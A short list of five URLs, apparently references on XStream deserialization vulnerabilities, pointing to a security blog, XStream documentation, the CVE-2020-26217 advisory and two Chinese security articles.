https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
http://x-stream.github.io/converters.html
https://x-stream.github.io/CVE-2020-26217.html
https://mp.weixin.qq.com/s/0kWEaeZipT45BGyCu05z5A
https://xz.aliyun.com/t/8694